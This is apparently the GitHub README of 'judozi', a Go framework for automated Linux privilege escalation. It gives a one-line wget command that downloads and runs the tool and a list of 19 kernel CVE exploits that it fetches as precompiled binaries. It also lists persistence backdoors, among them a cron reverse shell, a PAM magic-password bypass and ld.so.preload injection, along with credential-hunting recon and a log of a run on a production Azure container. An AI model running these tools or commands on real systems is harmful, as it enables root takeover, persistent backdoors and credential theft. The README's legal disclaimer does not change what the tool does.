GitHub - azqzazq1/judozi: Automatic Linux Local PrivEsc Tool

Features • Installation • Usage • Exploits • How It Works

FEATURES

CORE FRAMEWORK

+ Modular Plugin System
  Drop-in module support

+ Module Registry
  Auto-discovery and loading

+ Interactive UI
  Clean module selection menu

+ Command-line Interface
  Direct module execution

+ Extensible Architecture
  Easy to add new modules

+ Zero Dependencies
  Pure Go, static binary

KERNEL MODULE

! Dynamic Exploit Library
  Kernel 2.6.22 → 6.7.1 coverage

! Smart Detection
  Auto-detects vulnerabilities

! Hybrid Execution
  Compile OR precompiled

! GCC-Free Mode
  Works without compiler

! Binary Fallback
  Download when needed

! Automatic Mode
  Try all exploits

QUICK START

One-Line Installation

wget https://github.com/past3l/judozi/raw/main/judozi && chmod +x judozi && ./judozi

Alternative: Build from Source

git clone https://github.com/past3l/judozi.git
cd judozi
CGO_ENABLED=0 go build -ldflags="-s -w" -o judozi ./cmd/judozi
./judozi

USAGE

Interactive Mode (Recommended)

Run Judozi and select a module interactively:

./judozi

📸 Click to see module selection

     ▄▄▄██▀▀▀█    ██  ▓█████▄  ▒█████   ▒███████▒ ██▓
       ▒██   ██  ▓██▒ ▒██▀ ██▌▒██▒  ██▒▒ ▒ ▒ ▄▀░▓██▒
       ░██  ▓██  ▒██░ ░██   █▌▒██░  ██▒░ ▒ ▄▀▒░ ▒██▒
    ▓██▄██▓ ▓▓█  ░██░ ░▓█▄   ▌▒██   ██░  ▄▀▒   ░░██░
     ▓███▒  ▒▒█████▓  ░▒████▓ ░ ████▓▒░▒███████▒░██░

  ┌────────────────────────────────────────────────┐
  │  Modular Offensive Security Framework v2.0    │
  │  Author: past3l@mileniumsec                   │
  │  GitHub: github.com/past3l/judozi             │
  └────────────────────────────────────────────────┘

SELECT MODULE:

  [1] kernel
      privesc - Automated Linux Kernel Privilege Escalation

  ╔════════════════════════════════════════╗
  ║ Enter number (1-N) or 'q' to quit    ║
  ╚════════════════════════════════════════╝
  >

Direct Module Execution

Run a specific module directly:

# Run kernel module interactively
./judozi kernel

# List all kernel exploits
./judozi kernel -list

# Automatic mode (try all matching exploits)
./judozi kernel -auto

# Target specific CVE
./judozi kernel -cve CVE-2022-0847

# Use custom exploit mirror
./judozi kernel -mirror https://example.com/exploits

Command Line Options

# List all available modules
./judozi -l
./judozi --list

# Show help
./judozi -h
./judozi --help

# Run a module with args
./judozi [module] [module-args]

MODULES

🔓 Kernel Module (Privilege Escalation)

Automated Linux kernel privilege escalation framework with 19+ exploits.

Features:

Smart kernel version detection
Automatic exploit matching
Hybrid execution (compile or precompiled)
GCC-free mode with binary fallback
Range: Kernel 2.6.22 → 6.7.1

./judozi kernel          # Interactive mode
./judozi kernel -list    # List all exploits
./judozi kernel -auto    # Try all matching
./judozi kernel -cve CVE-2022-0847

🔒 Persistence Module

8 proven persistence techniques with stealth rating and reboot survival info.

Techniques:

SSH authorized_keys injection
Cron reverse shell (every 10 min)
Systemd service (system-monitor)
Custom SUID binary
/etc/ld.so.preload shared lib injection
PAM auth bypass (magic password backdoor)
.bashrc / .profile injection
SUID bash copy

./judozi persistence         # Interactive selection
./judozi persistence -list   # List all techniques
./judozi persistence 3       # Install technique #3
./judozi persistence -remove # Remove installed backdoors

🔍 Recon Module

12 parallel reconnaissance techniques. All output auto-saved to ./recon/ directory.

Techniques:

System info (OS, CPU, memory, kernel, env, installed tools)
Network enumeration (interfaces, routes, ports, ARP, DNS, firewall rules)
User & group enumeration (sudoers, shadow, login history, dotfiles)
SUID/SGID binaries + GTFOBins detection
Process enumeration (cmdlines, root procs, env secrets)
Credential hunting (SSH keys, .env, config files, AWS/k8s creds)
Cron & scheduled tasks (crontab, systemd timers, at jobs)
Service enumeration (systemd, init.d, versions)
Container & Docker recon (socket, cgroups, namespaces, metadata service)
Environment secrets (env vars, /proc env, process cmdlines)
SSH & lateral movement (known_hosts, agent sockets, authorized_keys)
Filesystem (writable dirs/files, sensitive files, backup files, logs)

./judozi recon               # Run all 12 techniques in parallel → saves to ./recon/
./judozi recon -list         # List techniques
./judozi recon 1 4 7         # Run specific techniques by ID
./judozi recon -dir /tmp     # Save to custom directory
./judozi recon -nosave       # Print to stdout only

🚀 Coming Soon

container - Container escape techniques (Docker socket, cgroup v1, privileged, overlay)

DYNAMIC EXPLOIT LIBRARY

_{Constantly updated repository of kernel privilege escalation vulnerabilities}


`CVE-2024-1086`	nf_tables UAF	3.15.0 → 6.7.1	amd64	nftables, uaf
`CVE-2023-3269`	StackRot	6.1.0 → 6.4.0	amd64	maple-tree, uaf
`CVE-2023-32233`	Netfilter nf_tables UAF	3.13.0 → 6.3.1	amd64	nftables, uaf
`CVE-2023-2640`	GameOver(lay)	5.15.0 → 6.2.0	amd64, arm64	overlayfs, ubuntu
`CVE-2022-34918`	Netfilter Heap Overflow	5.8.0 → 5.18.8	amd64	nftables, heap
`CVE-2022-2588`	DirtyCred	3.6.0 → 5.19.1	amd64	route4, uaf
`CVE-2022-1015`	nf_tables OOB	5.12.0 → 5.17.0	amd64	nftables, oob
`CVE-2022-0847`	DirtyPipe	5.8.0 → 5.16.10	amd64, arm64	pipe, write-anywhere
`CVE-2022-0185`	fsconfig Heap Overflow	5.1.0 → 5.16.1	amd64	fsconfig, heap
`CVE-2021-33909`	Sequoia	3.16.0 → 5.13.3	amd64	filesystem, seq_file
`CVE-2021-22555`	Netfilter xt_compat	2.6.19 → 5.12.0	amd64	netfilter, oob-write
`CVE-2021-3493`	OverlayFS Ubuntu	3.13.0 → 5.10.99	amd64, arm64	overlayfs, ubuntu
`CVE-2020-8835`	eBPF Verifier Bypass	5.5.0 → 5.6.1	amd64	ebpf, verifier
`CVE-2019-13272`	ptrace_link	4.10.0 → 5.1.17	amd64, arm64	ptrace, creds
`CVE-2017-16995`	eBPF Arbitrary R/W	4.4.0 → 4.14.7	amd64	ebpf, sign-extension
`CVE-2017-7308`	AF_PACKET	2.6.27 → 4.10.5	amd64	af_packet, heap-oob
`CVE-2017-1000112`	UDP UFO	4.4.0 → 4.12.6	amd64	udp, ufo
`CVE-2016-5195`	DirtyCow	2.6.22 → 4.8.2	amd64, arm64	cow, race-condition
`CVE-2016-0728`	Keyring Refcount	3.8.0 → 4.4.0	amd64	keyring, refcount

HOW IT WORKS

╔════════════════════════════════════════════╗
║       JUDOZI FRAMEWORK PIPELINE           ║
╠════════════════════════════════════════════╣
║                                            ║
║  [1] INIT                                  ║
║      ├─ Load module registry               ║
║      ├─ Auto-discover modules              ║
║      └─ Initialize UI                      ║
║                                            ║
║  [2] MODULE SELECTION                      ║
║      ├─ Interactive menu                   ║
║      ├─ Direct CLI execution               ║
║      └─ Validate availability              ║
║                                            ║
║  [3] EXECUTION                             ║
║      ├─ Load selected module               ║
║      ├─ Pass arguments                     ║
║      └─ Execute module.Run()               ║
║                                            ║
╚════════════════════════════════════════════╝

Architecture

Module Interface:

type Module interface {
    Name() string
    Description() string
    Category() string
    Run(args []string) error
}

PROJECT STRUCTURE

judozi/
├── cmd/judozi/main.go       # Entry point, module registry
├── modules/
│   ├── kernel/              # Kernel privesc (19 CVEs)
│   ├── persistence/         # 8 persistence techniques
│   └── recon/               # 12 recon techniques
│       └── techniques/
├── pkg/
│   ├── module/              # Module interface + registry
│   ├── shell/               # Interactive shell
│   └── ui/                  # Terminal UI helpers
├── binaries/                # Precompiled exploit binaries
├── go.mod
└── README.md

REAL-WORLD TESTING

Successfully tested on Azure Container (Production Environment)

nextjs@container:/tmp$ uname -r
5.15.0-1102-azure

nextjs@container:/tmp$ ./judozi
[*] Kernel: 5.15.0
[+] Found 10 potential exploit(s)
  > all

[!] GCC not available, downloading precompiled binary
[*] Downloading CVE-2024-1086...
[+] Binary downloaded successfully
[*] Executing exploit...
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...

SECURITY & LEGAL NOTICE

This tool is designed exclusively for:

YOU MUST HAVE EXPLICIT PERMISSION to use this tool on any system.

Legal Responsibilities

ALLOWED

+ Testing your own systems
+ Authorized pentesting
+ Educational research
+ CTF competitions

ILLEGAL

- Unauthorized access
- Systems you don't own
- Malicious intent
- Illegal privilege escalation

BUILDING FROM SOURCE

Prerequisites

Go 1.22 or higher
No other dependencies required (CGO disabled)

Build Commands

# Standard build (static binary)
CGO_ENABLED=0 go build -ldflags="-s -w" -o judozi .

# Cross-compile for ARM64
GOARCH=arm64 CGO_ENABLED=0 go build -ldflags="-s -w" -o judozi-arm64 .

# Cross-compile for 32-bit/cmd/judozi

# Cross-compile for ARM64
GOARCH=arm64 CGO_ENABLED=0 go build -ldflags="-s -w" -o judozi-arm64 ./cmd/judozi

# Cross-compile for 32-bit
GOARCH=386 CGO_ENABLED=0 go build -ldflags="-s -w" -o judozi-i386 ./cmd/judozi

# Debug build (with symbols)
CGO_ENABLED=0 go build -o judozi-debug ./cmd/judozi

Build flags explained:

CGO_ENABLED=0 → Produce pure static binary
-ldflags="-s -w" → Strip debug symbols (smaller size)
-o judozi → Output filename
./cmd/judozi → Entry point path

CONTRIBUTING

Contributions are welcome! Here's how you can help: Modules

Create a new module by implementing the Module interface:

package mymodule

import "github.com/judozi/judozi/pkg/module"

type MyModule struct{}

func New() module.Module {
    return &MyModule{}
}

func (m *MyModule) Name() string {
    return "mymodule"
}

func (m *MyModule) Description() string {
    return "My awesome module"
}

func (m *MyModule) Category() string {
    return "exploitation"
}

func (m *MyModule) Run(args []string) error {
    // Your module logic here
    return nil
}

Then register it in cmd/judozi/main.go:

registry.Register(mymodule.New())

Adding Kernel

Adding New Exploits

Adding Kernel Exploits

Add exploit metadata to modules/kernel/pkg/vulndb/exploits.json:

{
  "id": "CVE-XXXX-XXXXX",
  "name": "Exploit Name",
  "description": "Technical description",
  "min_kernel": "X.X.X",
  "max_kernel": "X.X.X",
  "arch": ["amd64"],
  "source": "https://github.com/.../exploit.c",
  "binary": "https://raw.githubusercontent.com/past3l/judozi/main/binaries/CVE-XXXX-XXXXX",
  "compile": "gcc -o {bin} {src} -static",
  "execute": "{bin}",
  "requirements": ["gcc"],
  "tags": ["tag1", "tag2"],
  "references": ["https://nvd.nist.gov/..."]
}

Compile static binary and add to modules/kernel/binaries/
Test on target kernel version
Submit pull request

Reporting Issues

Bug Reports

GitHub Issues

Feature Requests

GitHub Discussions

Security Issues

Contact privately

LICENSE

Educational Use Only

This project is provided for educational and research purposes. Exploit code belongs to the original authors and researchers. See individual exploit references for specific licensing.

Exploit Sources

https://github.com/ (various researchers)
https://www.exploit-db.com/
Google Project Zero
Security research publications

AUTHOR

past3l @ mileniumsec

GitHub: @past3l
Repository: judozi
Twitter: (if applicable)

🙏 Credits & Acknowledgments

Special thanks to:

Research Organizations

Google Project Zero → Advanced kernel security research
Qualys Security → Sequoia and other critical discoveries
Linux Kernel Community → Rapid patching and improvements
Exploit-DB → Public exploit database
The Go Team → Static binary compilation support

Notable Researchers

@Notselwyn - CVE-2024-1086 (nf_tables UAF)
@firefart - CVE-2016-5195 (DirtyCow)
Max Kellermann - CVE-2022-0847 (DirtyPipe)
@lrh2000 - CVE-2023-3269 (StackRot)
And many others in the security community

With great power comes great responsibility

_{Use this tool ethically and legally. Always obtain proper authorization.}

Made by past3l | Star this repo if you find it useful

Name		Name	Last commit message	Last commit date
Latest commit History 23 Commits
cmd/judozi		cmd/judozi
modules		modules
pkg		pkg
.gitignore		.gitignore
README.md		README.md
go.mod		go.mod
judozi		judozi

Folders and files

Latest commit

History

Repository files navigation

Features • Installation • Usage • Exploits • How It Works

FEATURES

CORE FRAMEWORK

KERNEL MODULE

QUICK START

One-Line Installation

Alternative: Build from Source

USAGE

Interactive Mode (Recommended)

Direct Module Execution

Command Line Options

MODULES

🔓 Kernel Module (Privilege Escalation)

🔒 Persistence Module

🔍 Recon Module

🚀 Coming Soon

DYNAMIC EXPLOIT LIBRARY

HOW IT WORKS

Architecture

PROJECT STRUCTURE

REAL-WORLD TESTING

SECURITY & LEGAL NOTICE

Legal Responsibilities

BUILDING FROM SOURCE

Prerequisites

Build Commands

Build flags explained:

CONTRIBUTING

Adding Kernel

Adding New Exploits

Adding Kernel Exploits

Reporting Issues

LICENSE

AUTHOR

🙏 Credits & Acknowledgments

With great power comes great responsibility

About

Topics

Resources

Uh oh!

Stars

Watchers

Forks

Releases

Packages 0

Uh oh!

Contributors

Uh oh!

Languages

Packages